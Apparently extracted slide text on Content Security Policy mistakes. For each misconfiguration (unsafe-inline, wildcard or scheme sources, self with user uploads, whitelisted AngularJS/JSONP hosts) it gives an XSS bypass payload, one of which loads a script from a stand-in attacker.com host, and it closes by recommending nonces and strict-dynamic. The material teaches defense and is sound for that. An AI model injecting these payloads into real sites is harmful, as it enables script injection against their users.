a computer security standard introduced to prevent cross-site scripting (XSS), clickjacking and other code injection attacks resulting from execution of malicious content in the trusted web page context.
over execution Reduce privilege of the application Content is forced into a unique origin Detect exploitation by monitoring violations Collecting violating reports
mistake #1 script-src ‘self’ ‘unsafe-inline’; object-src ‘none’; ‘unsafe-inline’ in script-src instead of ‘nonce’ Same for ‘default-src’ if script-src directive is not set “>’><script> alert(12345)</script> Bypass:
mistake #2 script-src ‘self’ https: data: *; object-src ‘none’; URL shhemes or wildcard in script-src instead of ‘unsafe-dynamic’ Same for URL schemes and wildcard in ‘object-src’ “>’><script src=https://attacker.com/evil.js> </script> Bypass: “>’><script src=data:text/javascript,alert(12345)></script>
mistake #4 script-src ‘self’; object-src ‘none’; Allow ‘self’ + hosting use-provided content on the name origin Same for object-src or default-src directive “>’><script src=”/user_upload/evil_cat.jpg.js”</script> Bypass:
“>’><script src=”https://whitelisted.com/angular.min.js”></script> <div ng-app ng-csp>{{2+2}}</div> “>’><script src=”https://whitelisted.com/angularjs/1.1.3/angular.min.js”></script> <div ng-app ng-csp id=p ng-click=$event.view.alert(4) Bypass: Also works without user interaction - combining with JSONP endpoints or other JS libraries
Benefits: All <script> tags with correct nonce attribute will be executed <script> tags injected via XSS will be blocked because of missing nonce No host/path whitelists! --> NO BYPASSES
‘none’; • nonce-r4nd0m - Allows all scripts to execute if the correct nonce is set. • unsafe-dynamic - Propagates trust and discards whitelists CSP V.3